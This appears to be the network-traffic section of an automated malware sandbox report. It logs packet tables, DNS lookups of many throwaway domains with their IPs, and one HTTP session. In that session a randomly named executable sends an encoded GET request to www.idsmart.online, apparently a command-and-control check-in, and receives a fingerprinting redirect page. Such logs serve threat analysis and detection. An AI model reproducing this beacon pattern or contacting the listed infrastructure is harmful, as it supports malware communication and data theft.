Dec 13, 2024 13:09:45.534873009 CET	50034	80	192.168.2.4	198.251.84.200
Dec 13, 2024 13:09:45.655088902 CET	80	50034	198.251.84.200	192.168.2.4
Dec 13, 2024 13:09:45.657392025 CET	50034	80	192.168.2.4	198.251.84.200
Dec 13, 2024 13:09:45.668402910 CET	50034	80	192.168.2.4	198.251.84.200
Dec 13, 2024 13:09:45.788322926 CET	80	50034	198.251.84.200	192.168.2.4
Dec 13, 2024 13:09:46.998615026 CET	80	50034	198.251.84.200	192.168.2.4
Dec 13, 2024 13:09:46.998641968 CET	80	50034	198.251.84.200	192.168.2.4
Dec 13, 2024 13:09:46.998712063 CET	50034	80	192.168.2.4	198.251.84.200
Dec 13, 2024 13:09:47.169636011 CET	50034	80	192.168.2.4	198.251.84.200
Dec 13, 2024 13:09:48.188384056 CET	50035	80	192.168.2.4	198.251.84.200
Dec 13, 2024 13:09:48.309082985 CET	80	50035	198.251.84.200	192.168.2.4
Dec 13, 2024 13:09:48.309489965 CET	50035	80	192.168.2.4	198.251.84.200
Dec 13, 2024 13:09:48.322998047 CET	50035	80	192.168.2.4	198.251.84.200
Dec 13, 2024 13:09:48.444027901 CET	80	50035	198.251.84.200	192.168.2.4
Dec 13, 2024 13:09:49.661906004 CET	80	50035	198.251.84.200	192.168.2.4
Dec 13, 2024 13:09:49.662259102 CET	80	50035	198.251.84.200	192.168.2.4
Dec 13, 2024 13:09:49.662523031 CET	50035	80	192.168.2.4	198.251.84.200
Dec 13, 2024 13:09:49.825810909 CET	50035	80	192.168.2.4	198.251.84.200
Dec 13, 2024 13:09:50.844633102 CET	50036	80	192.168.2.4	198.251.84.200
Dec 13, 2024 13:09:50.964766979 CET	80	50036	198.251.84.200	192.168.2.4
Dec 13, 2024 13:09:50.964895964 CET	50036	80	192.168.2.4	198.251.84.200
Dec 13, 2024 13:09:50.983047009 CET	50036	80	192.168.2.4	198.251.84.200
Dec 13, 2024 13:09:51.103146076 CET	80	50036	198.251.84.200	192.168.2.4
Dec 13, 2024 13:09:51.103161097 CET	80	50036	198.251.84.200	192.168.2.4
Dec 13, 2024 13:09:51.103207111 CET	80	50036	198.251.84.200	192.168.2.4
Dec 13, 2024 13:09:51.103215933 CET	80	50036	198.251.84.200	192.168.2.4
Dec 13, 2024 13:09:51.103286028 CET	80	50036	198.251.84.200	192.168.2.4
Dec 13, 2024 13:09:51.103295088 CET	80	50036	198.251.84.200	192.168.2.4
Dec 13, 2024 13:09:51.103429079 CET	80	50036	198.251.84.200	192.168.2.4
Dec 13, 2024 13:09:51.103436947 CET	80	50036	198.251.84.200	192.168.2.4
Dec 13, 2024 13:09:51.103461027 CET	80	50036	198.251.84.200	192.168.2.4
Dec 13, 2024 13:09:52.307467937 CET	80	50036	198.251.84.200	192.168.2.4
Dec 13, 2024 13:09:52.307486057 CET	80	50036	198.251.84.200	192.168.2.4
Dec 13, 2024 13:09:52.307579994 CET	50036	80	192.168.2.4	198.251.84.200
Dec 13, 2024 13:09:52.497533083 CET	50036	80	192.168.2.4	198.251.84.200
Dec 13, 2024 13:09:53.520292997 CET	50037	80	192.168.2.4	198.251.84.200
Dec 13, 2024 13:09:53.640333891 CET	80	50037	198.251.84.200	192.168.2.4
Dec 13, 2024 13:09:53.640429974 CET	50037	80	192.168.2.4	198.251.84.200
Dec 13, 2024 13:09:53.647983074 CET	50037	80	192.168.2.4	198.251.84.200
Dec 13, 2024 13:09:53.767946959 CET	80	50037	198.251.84.200	192.168.2.4
Dec 13, 2024 13:09:54.980513096 CET	80	50037	198.251.84.200	192.168.2.4
Dec 13, 2024 13:09:54.980544090 CET	80	50037	198.251.84.200	192.168.2.4
Dec 13, 2024 13:09:54.980655909 CET	50037	80	192.168.2.4	198.251.84.200
Dec 13, 2024 13:09:54.983489037 CET	50037	80	192.168.2.4	198.251.84.200
Dec 13, 2024 13:09:55.103297949 CET	80	50037	198.251.84.200	192.168.2.4
Dec 13, 2024 13:10:00.715514898 CET	50038	80	192.168.2.4	217.160.0.60
Dec 13, 2024 13:10:00.835398912 CET	80	50038	217.160.0.60	192.168.2.4
Dec 13, 2024 13:10:00.835500002 CET	50038	80	192.168.2.4	217.160.0.60
Dec 13, 2024 13:10:00.847841978 CET	50038	80	192.168.2.4	217.160.0.60
Dec 13, 2024 13:10:00.967751026 CET	80	50038	217.160.0.60	192.168.2.4
Dec 13, 2024 13:10:02.206742048 CET	80	50038	217.160.0.60	192.168.2.4
Dec 13, 2024 13:10:02.206782103 CET	80	50038	217.160.0.60	192.168.2.4
Dec 13, 2024 13:10:02.206800938 CET	80	50038	217.160.0.60	192.168.2.4
Dec 13, 2024 13:10:02.206907034 CET	50038	80	192.168.2.4	217.160.0.60
Dec 13, 2024 13:10:02.357220888 CET	50038	80	192.168.2.4	217.160.0.60
Dec 13, 2024 13:10:03.377017975 CET	50039	80	192.168.2.4	217.160.0.60
Dec 13, 2024 13:10:03.496975899 CET	80	50039	217.160.0.60	192.168.2.4
Dec 13, 2024 13:10:03.497073889 CET	50039	80	192.168.2.4	217.160.0.60
Dec 13, 2024 13:10:03.508893967 CET	50039	80	192.168.2.4	217.160.0.60
Dec 13, 2024 13:10:03.628684044 CET	80	50039	217.160.0.60	192.168.2.4
Dec 13, 2024 13:10:04.777515888 CET	80	50039	217.160.0.60	192.168.2.4
Dec 13, 2024 13:10:04.777553082 CET	80	50039	217.160.0.60	192.168.2.4
Dec 13, 2024 13:10:04.777566910 CET	80	50039	217.160.0.60	192.168.2.4
Dec 13, 2024 13:10:04.777591944 CET	50039	80	192.168.2.4	217.160.0.60
Dec 13, 2024 13:10:04.777636051 CET	50039	80	192.168.2.4	217.160.0.60
Dec 13, 2024 13:10:05.013232946 CET	50039	80	192.168.2.4	217.160.0.60
Dec 13, 2024 13:10:06.032824993 CET	50040	80	192.168.2.4	217.160.0.60
Dec 13, 2024 13:10:06.153043032 CET	80	50040	217.160.0.60	192.168.2.4
Dec 13, 2024 13:10:06.155781031 CET	50040	80	192.168.2.4	217.160.0.60
Dec 13, 2024 13:10:06.165910006 CET	50040	80	192.168.2.4	217.160.0.60
Dec 13, 2024 13:10:06.285804033 CET	80	50040	217.160.0.60	192.168.2.4
Dec 13, 2024 13:10:06.285819054 CET	80	50040	217.160.0.60	192.168.2.4
Dec 13, 2024 13:10:06.285837889 CET	80	50040	217.160.0.60	192.168.2.4
Dec 13, 2024 13:10:06.285845995 CET	80	50040	217.160.0.60	192.168.2.4
Dec 13, 2024 13:10:06.285926104 CET	80	50040	217.160.0.60	192.168.2.4
Dec 13, 2024 13:10:06.285943985 CET	80	50040	217.160.0.60	192.168.2.4
Dec 13, 2024 13:10:06.285995007 CET	80	50040	217.160.0.60	192.168.2.4
Dec 13, 2024 13:10:06.286026001 CET	80	50040	217.160.0.60	192.168.2.4
Dec 13, 2024 13:10:06.286058903 CET	80	50040	217.160.0.60	192.168.2.4
Dec 13, 2024 13:10:07.610346079 CET	80	50040	217.160.0.60	192.168.2.4
Dec 13, 2024 13:10:07.610388041 CET	80	50040	217.160.0.60	192.168.2.4
Dec 13, 2024 13:10:07.610400915 CET	80	50040	217.160.0.60	192.168.2.4
Dec 13, 2024 13:10:07.610446930 CET	50040	80	192.168.2.4	217.160.0.60
Dec 13, 2024 13:10:07.669616938 CET	50040	80	192.168.2.4	217.160.0.60
Dec 13, 2024 13:10:08.689361095 CET	50041	80	192.168.2.4	217.160.0.60
Dec 13, 2024 13:10:08.810501099 CET	80	50041	217.160.0.60	192.168.2.4
Dec 13, 2024 13:10:08.810578108 CET	50041	80	192.168.2.4	217.160.0.60
Dec 13, 2024 13:10:08.819462061 CET	50041	80	192.168.2.4	217.160.0.60
Dec 13, 2024 13:10:08.940838099 CET	80	50041	217.160.0.60	192.168.2.4
Dec 13, 2024 13:10:10.090229034 CET	80	50041	217.160.0.60	192.168.2.4
Dec 13, 2024 13:10:10.090253115 CET	80	50041	217.160.0.60	192.168.2.4
Dec 13, 2024 13:10:10.090269089 CET	80	50041	217.160.0.60	192.168.2.4
Dec 13, 2024 13:10:10.090286970 CET	80	50041	217.160.0.60	192.168.2.4
Dec 13, 2024 13:10:10.090460062 CET	50041	80	192.168.2.4	217.160.0.60
Dec 13, 2024 13:10:10.090636969 CET	80	50041	217.160.0.60	192.168.2.4
Dec 13, 2024 13:10:10.091394901 CET	50041	80	192.168.2.4	217.160.0.60
Dec 13, 2024 13:10:10.097253084 CET	50041	80	192.168.2.4	217.160.0.60
Dec 13, 2024 13:10:10.217304945 CET	80	50041	217.160.0.60	192.168.2.4
Dec 13, 2024 13:10:15.648977995 CET	50042	80	192.168.2.4	161.97.142.144
Dec 13, 2024 13:10:15.769026041 CET	80	50042	161.97.142.144	192.168.2.4
Dec 13, 2024 13:10:15.777287006 CET	50042	80	192.168.2.4	161.97.142.144
Dec 13, 2024 13:10:15.841300964 CET	50042	80	192.168.2.4	161.97.142.144
Dec 13, 2024 13:10:15.963160038 CET	80	50042	161.97.142.144	192.168.2.4
Dec 13, 2024 13:10:17.022445917 CET	80	50042	161.97.142.144	192.168.2.4
Dec 13, 2024 13:10:17.022486925 CET	80	50042	161.97.142.144	192.168.2.4
Dec 13, 2024 13:10:17.022532940 CET	50042	80	192.168.2.4	161.97.142.144
Dec 13, 2024 13:10:17.022566080 CET	80	50042	161.97.142.144	192.168.2.4
Dec 13, 2024 13:10:17.022605896 CET	50042	80	192.168.2.4	161.97.142.144
Dec 13, 2024 13:10:17.341507912 CET	50042	80	192.168.2.4	161.97.142.144
Dec 13, 2024 13:10:18.491420031 CET	50043	80	192.168.2.4	161.97.142.144
Dec 13, 2024 13:10:18.611309052 CET	80	50043	161.97.142.144	192.168.2.4
Dec 13, 2024 13:10:18.620292902 CET	50043	80	192.168.2.4	161.97.142.144
Dec 13, 2024 13:10:19.085571051 CET	50043	80	192.168.2.4	161.97.142.144
Dec 13, 2024 13:10:19.205663919 CET	80	50043	161.97.142.144	192.168.2.4
Dec 13, 2024 13:10:19.888510942 CET	80	50043	161.97.142.144	192.168.2.4
Dec 13, 2024 13:10:19.888567924 CET	80	50043	161.97.142.144	192.168.2.4
Dec 13, 2024 13:10:19.888607979 CET	80	50043	161.97.142.144	192.168.2.4
Dec 13, 2024 13:10:19.888643980 CET	50043	80	192.168.2.4	161.97.142.144
Dec 13, 2024 13:10:19.888705015 CET	50043	80	192.168.2.4	161.97.142.144
Dec 13, 2024 13:10:20.591407061 CET	50043	80	192.168.2.4	161.97.142.144
Dec 13, 2024 13:10:22.000976086 CET	50044	80	192.168.2.4	161.97.142.144
Dec 13, 2024 13:10:22.120795012 CET	80	50044	161.97.142.144	192.168.2.4
Dec 13, 2024 13:10:22.121390104 CET	50044	80	192.168.2.4	161.97.142.144
Dec 13, 2024 13:10:22.133514881 CET	50044	80	192.168.2.4	161.97.142.144
Dec 13, 2024 13:10:22.253410101 CET	80	50044	161.97.142.144	192.168.2.4
Dec 13, 2024 13:10:22.253520966 CET	80	50044	161.97.142.144	192.168.2.4
Dec 13, 2024 13:10:22.253530979 CET	80	50044	161.97.142.144	192.168.2.4
Dec 13, 2024 13:10:22.253539085 CET	80	50044	161.97.142.144	192.168.2.4
Dec 13, 2024 13:10:22.253592968 CET	80	50044	161.97.142.144	192.168.2.4
Dec 13, 2024 13:10:22.253601074 CET	80	50044	161.97.142.144	192.168.2.4
Dec 13, 2024 13:10:22.253612995 CET	80	50044	161.97.142.144	192.168.2.4
Dec 13, 2024 13:10:22.360888004 CET	80	50044	161.97.142.144	192.168.2.4
Dec 13, 2024 13:10:22.360899925 CET	80	50044	161.97.142.144	192.168.2.4
Dec 13, 2024 13:10:23.366647959 CET	80	50044	161.97.142.144	192.168.2.4
Dec 13, 2024 13:10:23.366672993 CET	80	50044	161.97.142.144	192.168.2.4
Dec 13, 2024 13:10:23.366724014 CET	50044	80	192.168.2.4	161.97.142.144
Dec 13, 2024 13:10:23.451375961 CET	80	50044	161.97.142.144	192.168.2.4
Dec 13, 2024 13:10:23.451441050 CET	50044	80	192.168.2.4	161.97.142.144
Dec 13, 2024 13:10:23.638267040 CET	50044	80	192.168.2.4	161.97.142.144
Dec 13, 2024 13:10:24.657174110 CET	50045	80	192.168.2.4	161.97.142.144
Dec 13, 2024 13:10:24.781017065 CET	80	50045	161.97.142.144	192.168.2.4
Dec 13, 2024 13:10:24.781128883 CET	50045	80	192.168.2.4	161.97.142.144
Dec 13, 2024 13:10:24.790267944 CET	50045	80	192.168.2.4	161.97.142.144
Dec 13, 2024 13:10:24.910090923 CET	80	50045	161.97.142.144	192.168.2.4
Dec 13, 2024 13:10:26.132560968 CET	80	50045	161.97.142.144	192.168.2.4
Dec 13, 2024 13:10:26.132584095 CET	80	50045	161.97.142.144	192.168.2.4
Dec 13, 2024 13:10:26.132594109 CET	80	50045	161.97.142.144	192.168.2.4
Dec 13, 2024 13:10:26.132643938 CET	80	50045	161.97.142.144	192.168.2.4
Dec 13, 2024 13:10:26.132785082 CET	50045	80	192.168.2.4	161.97.142.144
Dec 13, 2024 13:10:26.132785082 CET	50045	80	192.168.2.4	161.97.142.144
Dec 13, 2024 13:10:26.139923096 CET	50045	80	192.168.2.4	161.97.142.144
Dec 13, 2024 13:10:26.259874105 CET	80	50045	161.97.142.144	192.168.2.4
Dec 13, 2024 13:10:46.893759966 CET	50050	80	192.168.2.4	3.33.130.190
Dec 13, 2024 13:10:47.014014006 CET	80	50050	3.33.130.190	192.168.2.4
Dec 13, 2024 13:10:47.014106989 CET	50050	80	192.168.2.4	3.33.130.190
Dec 13, 2024 13:10:47.026427984 CET	50050	80	192.168.2.4	3.33.130.190
Dec 13, 2024 13:10:47.146310091 CET	80	50050	3.33.130.190	192.168.2.4
Dec 13, 2024 13:10:48.112895966 CET	80	50050	3.33.130.190	192.168.2.4
Dec 13, 2024 13:10:48.112945080 CET	80	50050	3.33.130.190	192.168.2.4
Dec 13, 2024 13:10:48.113014936 CET	50050	80	192.168.2.4	3.33.130.190
Dec 13, 2024 13:10:48.529366016 CET	50050	80	192.168.2.4	3.33.130.190
Dec 13, 2024 13:10:49.547647953 CET	50051	80	192.168.2.4	3.33.130.190
Dec 13, 2024 13:10:49.667515039 CET	80	50051	3.33.130.190	192.168.2.4
Dec 13, 2024 13:10:49.667680979 CET	50051	80	192.168.2.4	3.33.130.190
Dec 13, 2024 13:10:49.679757118 CET	50051	80	192.168.2.4	3.33.130.190
Dec 13, 2024 13:10:49.799552917 CET	80	50051	3.33.130.190	192.168.2.4
Dec 13, 2024 13:10:50.763427973 CET	80	50051	3.33.130.190	192.168.2.4
Dec 13, 2024 13:10:50.763453960 CET	80	50051	3.33.130.190	192.168.2.4
Dec 13, 2024 13:10:50.763552904 CET	50051	80	192.168.2.4	3.33.130.190
Dec 13, 2024 13:10:51.185239077 CET	50051	80	192.168.2.4	3.33.130.190

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 13, 2024 13:06:46.087924004 CET	63345	53	192.168.2.4	1.1.1.1
Dec 13, 2024 13:06:47.075742960 CET	63345	53	192.168.2.4	1.1.1.1
Dec 13, 2024 13:06:47.216994047 CET	53	63345	1.1.1.1	192.168.2.4
Dec 13, 2024 13:06:47.217004061 CET	53	63345	1.1.1.1	192.168.2.4
Dec 13, 2024 13:07:03.854353905 CET	50847	53	192.168.2.4	1.1.1.1
Dec 13, 2024 13:07:04.227193117 CET	53	50847	1.1.1.1	192.168.2.4
Dec 13, 2024 13:07:18.594589949 CET	51924	53	192.168.2.4	1.1.1.1
Dec 13, 2024 13:07:19.098153114 CET	53	51924	1.1.1.1	192.168.2.4
Dec 13, 2024 13:07:33.579222918 CET	56973	53	192.168.2.4	1.1.1.1
Dec 13, 2024 13:07:33.973871946 CET	53	56973	1.1.1.1	192.168.2.4
Dec 13, 2024 13:08:33.486896992 CET	50702	53	192.168.2.4	1.1.1.1
Dec 13, 2024 13:08:33.803704977 CET	53	50702	1.1.1.1	192.168.2.4
Dec 13, 2024 13:08:48.784070969 CET	53804	53	192.168.2.4	1.1.1.1
Dec 13, 2024 13:08:49.477361917 CET	53	53804	1.1.1.1	192.168.2.4
Dec 13, 2024 13:09:03.707334995 CET	63841	53	192.168.2.4	1.1.1.1
Dec 13, 2024 13:09:04.076507092 CET	53	63841	1.1.1.1	192.168.2.4
Dec 13, 2024 13:09:21.299566031 CET	53053	53	192.168.2.4	1.1.1.1
Dec 13, 2024 13:09:22.138940096 CET	53	53053	1.1.1.1	192.168.2.4
Dec 13, 2024 13:09:36.583359957 CET	62473	53	192.168.2.4	1.1.1.1
Dec 13, 2024 13:09:37.018965960 CET	53	62473	1.1.1.1	192.168.2.4
Dec 13, 2024 13:09:45.080786943 CET	53805	53	192.168.2.4	1.1.1.1
Dec 13, 2024 13:09:45.532730103 CET	53	53805	1.1.1.1	192.168.2.4
Dec 13, 2024 13:10:00.011334896 CET	61069	53	192.168.2.4	1.1.1.1
Dec 13, 2024 13:10:00.713052988 CET	53	61069	1.1.1.1	192.168.2.4
Dec 13, 2024 13:10:15.118319988 CET	56287	53	192.168.2.4	1.1.1.1
Dec 13, 2024 13:10:15.645673037 CET	53	56287	1.1.1.1	192.168.2.4
Dec 13, 2024 13:10:31.142157078 CET	59477	53	192.168.2.4	1.1.1.1
Dec 13, 2024 13:10:31.472239971 CET	53	59477	1.1.1.1	192.168.2.4
Dec 13, 2024 13:10:46.235894918 CET	52756	53	192.168.2.4	1.1.1.1
Dec 13, 2024 13:10:46.891304970 CET	53	52756	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 13, 2024 13:06:46.087924004 CET	192.168.2.4	1.1.1.1	0x5fa1	Standard query (0)	www.idsmart.online	A (IP address)	IN (0x0001)	false
Dec 13, 2024 13:06:47.075742960 CET	192.168.2.4	1.1.1.1	0x5fa1	Standard query (0)	www.idsmart.online	A (IP address)	IN (0x0001)	false
Dec 13, 2024 13:07:03.854353905 CET	192.168.2.4	1.1.1.1	0xf50	Standard query (0)	www.sortcouponspot.shop	A (IP address)	IN (0x0001)	false
Dec 13, 2024 13:07:18.594589949 CET	192.168.2.4	1.1.1.1	0x4af	Standard query (0)	www.030002128.xyz	A (IP address)	IN (0x0001)	false
Dec 13, 2024 13:07:33.579222918 CET	192.168.2.4	1.1.1.1	0x8024	Standard query (0)	www.quicktraze.website	A (IP address)	IN (0x0001)	false
Dec 13, 2024 13:08:33.486896992 CET	192.168.2.4	1.1.1.1	0x3257	Standard query (0)	www.tenmyk.shop	A (IP address)	IN (0x0001)	false
Dec 13, 2024 13:08:48.784070969 CET	192.168.2.4	1.1.1.1	0x9607	Standard query (0)	www.tlcatlas.xyz	A (IP address)	IN (0x0001)	false
Dec 13, 2024 13:09:03.707334995 CET	192.168.2.4	1.1.1.1	0xe1b6	Standard query (0)	www.xphone.net	A (IP address)	IN (0x0001)	false
Dec 13, 2024 13:09:21.299566031 CET	192.168.2.4	1.1.1.1	0xaa84	Standard query (0)	www.basicreviews.online	A (IP address)	IN (0x0001)	false
Dec 13, 2024 13:09:36.583359957 CET	192.168.2.4	1.1.1.1	0x1bde	Standard query (0)	www.89180.app	A (IP address)	IN (0x0001)	false
Dec 13, 2024 13:09:45.080786943 CET	192.168.2.4	1.1.1.1	0x680d	Standard query (0)	www.stationseek.online	A (IP address)	IN (0x0001)	false
Dec 13, 2024 13:10:00.011334896 CET	192.168.2.4	1.1.1.1	0x1993	Standard query (0)	www.solarand.online	A (IP address)	IN (0x0001)	false
Dec 13, 2024 13:10:15.118319988 CET	192.168.2.4	1.1.1.1	0xbf42	Standard query (0)	www.030002059.xyz	A (IP address)	IN (0x0001)	false
Dec 13, 2024 13:10:31.142157078 CET	192.168.2.4	1.1.1.1	0x8fdb	Standard query (0)	www.salju777-rtp.click	A (IP address)	IN (0x0001)	false
Dec 13, 2024 13:10:46.235894918 CET	192.168.2.4	1.1.1.1	0x61d	Standard query (0)	www.tdassetmgt.info	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 13, 2024 13:06:47.216994047 CET	1.1.1.1	192.168.2.4	0x5fa1	No error (0)	www.idsmart.online		15.204.67.7	A (IP address)	IN (0x0001)	false
Dec 13, 2024 13:06:47.217004061 CET	1.1.1.1	192.168.2.4	0x5fa1	No error (0)	www.idsmart.online		15.204.67.7	A (IP address)	IN (0x0001)	false
Dec 13, 2024 13:07:04.227193117 CET	1.1.1.1	192.168.2.4	0xf50	No error (0)	www.sortcouponspot.shop		172.67.158.234	A (IP address)	IN (0x0001)	false
Dec 13, 2024 13:07:04.227193117 CET	1.1.1.1	192.168.2.4	0xf50	No error (0)	www.sortcouponspot.shop		104.21.90.177	A (IP address)	IN (0x0001)	false
Dec 13, 2024 13:07:19.098153114 CET	1.1.1.1	192.168.2.4	0x4af	No error (0)	www.030002128.xyz		161.97.142.144	A (IP address)	IN (0x0001)	false
Dec 13, 2024 13:07:33.973871946 CET	1.1.1.1	192.168.2.4	0x8024	No error (0)	www.quicktraze.website		209.74.64.58	A (IP address)	IN (0x0001)	false
Dec 13, 2024 13:08:33.803704977 CET	1.1.1.1	192.168.2.4	0x3257	No error (0)	www.tenmyk.shop		104.21.74.79	A (IP address)	IN (0x0001)	false
Dec 13, 2024 13:08:33.803704977 CET	1.1.1.1	192.168.2.4	0x3257	No error (0)	www.tenmyk.shop		172.67.200.118	A (IP address)	IN (0x0001)	false
Dec 13, 2024 13:08:49.477361917 CET	1.1.1.1	192.168.2.4	0x9607	No error (0)	www.tlcatlas.xyz	tlcatlas.xyz		CNAME (Canonical name)	IN (0x0001)	false
Dec 13, 2024 13:08:49.477361917 CET	1.1.1.1	192.168.2.4	0x9607	No error (0)	tlcatlas.xyz		3.33.130.190	A (IP address)	IN (0x0001)	false
Dec 13, 2024 13:08:49.477361917 CET	1.1.1.1	192.168.2.4	0x9607	No error (0)	tlcatlas.xyz		15.197.148.33	A (IP address)	IN (0x0001)	false
Dec 13, 2024 13:09:04.076507092 CET	1.1.1.1	192.168.2.4	0xe1b6	No error (0)	www.xphone.net		13.248.169.48	A (IP address)	IN (0x0001)	false
Dec 13, 2024 13:09:04.076507092 CET	1.1.1.1	192.168.2.4	0xe1b6	No error (0)	www.xphone.net		76.223.54.146	A (IP address)	IN (0x0001)	false
Dec 13, 2024 13:09:22.138940096 CET	1.1.1.1	192.168.2.4	0xaa84	No error (0)	www.basicreviews.online	basicreviews.online		CNAME (Canonical name)	IN (0x0001)	false
Dec 13, 2024 13:09:22.138940096 CET	1.1.1.1	192.168.2.4	0xaa84	No error (0)	basicreviews.online		144.76.190.39	A (IP address)	IN (0x0001)	false
Dec 13, 2024 13:09:37.018965960 CET	1.1.1.1	192.168.2.4	0x1bde	Server failure (2)	www.89180.app	none	none	A (IP address)	IN (0x0001)	false
Dec 13, 2024 13:09:45.532730103 CET	1.1.1.1	192.168.2.4	0x680d	No error (0)	www.stationseek.online	stationseek.online		CNAME (Canonical name)	IN (0x0001)	false
Dec 13, 2024 13:09:45.532730103 CET	1.1.1.1	192.168.2.4	0x680d	No error (0)	stationseek.online		198.251.84.200	A (IP address)	IN (0x0001)	false
Dec 13, 2024 13:10:00.713052988 CET	1.1.1.1	192.168.2.4	0x1993	No error (0)	www.solarand.online	solarand.online		CNAME (Canonical name)	IN (0x0001)	false
Dec 13, 2024 13:10:00.713052988 CET	1.1.1.1	192.168.2.4	0x1993	No error (0)	solarand.online		217.160.0.60	A (IP address)	IN (0x0001)	false
Dec 13, 2024 13:10:15.645673037 CET	1.1.1.1	192.168.2.4	0xbf42	No error (0)	www.030002059.xyz		161.97.142.144	A (IP address)	IN (0x0001)	false
Dec 13, 2024 13:10:31.472239971 CET	1.1.1.1	192.168.2.4	0x8fdb	No error (0)	www.salju777-rtp.click		172.67.149.64	A (IP address)	IN (0x0001)	false
Dec 13, 2024 13:10:31.472239971 CET	1.1.1.1	192.168.2.4	0x8fdb	No error (0)	www.salju777-rtp.click		104.21.29.140	A (IP address)	IN (0x0001)	false
Dec 13, 2024 13:10:46.891304970 CET	1.1.1.1	192.168.2.4	0x61d	No error (0)	www.tdassetmgt.info	tdassetmgt.info		CNAME (Canonical name)	IN (0x0001)	false
Dec 13, 2024 13:10:46.891304970 CET	1.1.1.1	192.168.2.4	0x61d	No error (0)	tdassetmgt.info		3.33.130.190	A (IP address)	IN (0x0001)	false
Dec 13, 2024 13:10:46.891304970 CET	1.1.1.1	192.168.2.4	0x61d	No error (0)	tdassetmgt.info		15.197.148.33	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

www.idsmart.online

www.sortcouponspot.shop

www.030002128.xyz

www.quicktraze.website

45.200.148.45

www.tenmyk.shop

www.tlcatlas.xyz

www.xphone.net

www.basicreviews.online

www.stationseek.online

www.solarand.online

www.030002059.xyz

www.tdassetmgt.info

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49736	15.204.67.7	80	5580	C:\Program Files (x86)\GIWqUxABuwNFMqIjPARSMYHwWWpBRzkzeqHfVMDnlefWQFrmKIAqDhcRVgrtQhj\oCCZhsVsNwIIN.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 13:06:47.357765913 CET	513	OUT	GET /jbgy/?9B_ppt=WpM+dDwUrs4Ykb5b1dnjbOfiyH7DQBbUygihNlQvbeZsifJZmgd82eWBWlqYoXZ4M0nFDUKlc8dkNQUv++NgzJUq6TxFRvYz6U7LgU8Svc64lC0D7BgxK28=&Sbv8I=RfPDYvIHtJXp8 HTTP/1.1 Host: www.idsmart.online Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-us Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)
Dec 13, 2024 13:06:48.766279936 CET	1236	IN	HTTP/1.1 200 OK date: Fri, 13 Dec 2024 12:06:48 GMT server: Apache set-cookie: __tad=1734091608.7578817; expires=Mon, 11-Dec-2034 12:06:48 GMT; Max-Age=315360000 vary: Accept-Encoding content-length: 1512 content-type: text/html; charset=UTF-8 connection: close Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 69 64 73 6d 61 72 74 2e 6f 6e 6c 69 6e 65 3c 2f 74 69 74 6c 65 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 2f 6a 73 2f 66 69 6e 67 65 72 70 72 69 6e 74 2f 69 69 66 65 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 76 61 72 20 72 65 64 69 72 65 63 74 5f 6c 69 6e 6b 20 3d 20 27 68 74 74 70 3a 2f 2f 77 77 77 2e 69 64 73 6d 61 72 74 2e 6f 6e 6c 69 6e 65 2f 6a 62 67 79 2f 3f 39 42 5f 70 70 74 3d 57 70 4d 2b 64 44 77 55 72 73 34 59 6b 62 35 62 31 64 6e 6a 62 4f 66 69 79 48 37 44 51 42 62 55 79 67 69 68 4e 6c 51 76 62 65 5a 73 69 66 4a 5a 6d 67 64 38 32 65 57 42 57 6c 71 59 6f 58 5a 34 4d 30 6e 46 44 55 4b 6c 63 38 64 6b 4e 51 55 76 2b 2b 4e 67 7a 4a 55 71 36 54 78 46 52 76 59 7a 36 55 37 4c 67 55 38 53 76 63 36 34 6c 43 30 44 37 42 67 78 4b 32 38 3d 26 53 62 76 38 49 3d [TRUNCATED] Data Ascii: <html><head><title>idsmart.online</title><script type="text/javascript" src="/js/fingerprint/iife.min.js"></script><script type="text/javascript">var redirect_link = 'http://www.idsmart.online/jbgy/?9B_ppt=WpM+dDwUrs4Ykb5b1dnjbOfiyH7DQBbUygihNlQvbeZsifJZmgd82eWBWlqYoXZ4M0nFDUKlc8dkNQUv++NgzJUq6TxFRvYz6U7LgU8Svc64lC0D7BgxK28=&Sbv8I=RfPDYvIHtJXp8&';// Set a timeout of 300 microseconds to execute a redirect if the fingerprint promise fails for some reasonfunction fallbackRedirect() {window.location.replace(redirect_link+'fp=-7');}try {const rdrTimeout = setTimeout(fallbackRedirect, 300);var fpPromise = FingerprintJS.load({monitoring: false});fpPromise.then(fp => fp.get()).then(result => { var fprt = 'fp='+result.visitorId;clearTimeout(rdrTimeout);window.location.replace(redirect_link+fprt);});} catch(err) {fallbackRedirect();}</script><style> body { background:#101c36 } </style></head><body bgcolor
Dec 13, 2024 13:06:48.766361952 CET	548	IN	Data Raw: 3d 22 23 66 66 66 66 66 66 22 20 74 65 78 74 3d 22 23 30 30 30 30 30 30 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 27 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 27 3e 3c 61 20 68 72 65 66 3d 27 68 74 74 70 3a 2f 2f 77 77 77 2e 69 64 73 6d 61 72 74 Data Ascii: ="#ffffff" text="#000000"><div style='display: none;'><a href='http://www.idsmart.online/jbgy/?9B_ppt=WpM+dDwUrs4Ykb5b1dnjbOfiyH7DQBbUygihNlQvbeZsifJZmgd82eWBWlqYoXZ4M0nFDUKlc8dkNQUv++NgzJUq6TxFRvYz6U7LgU8Svc64lC0D7BgxK28=&Sbv8I=RfPDYvIHtJXp8

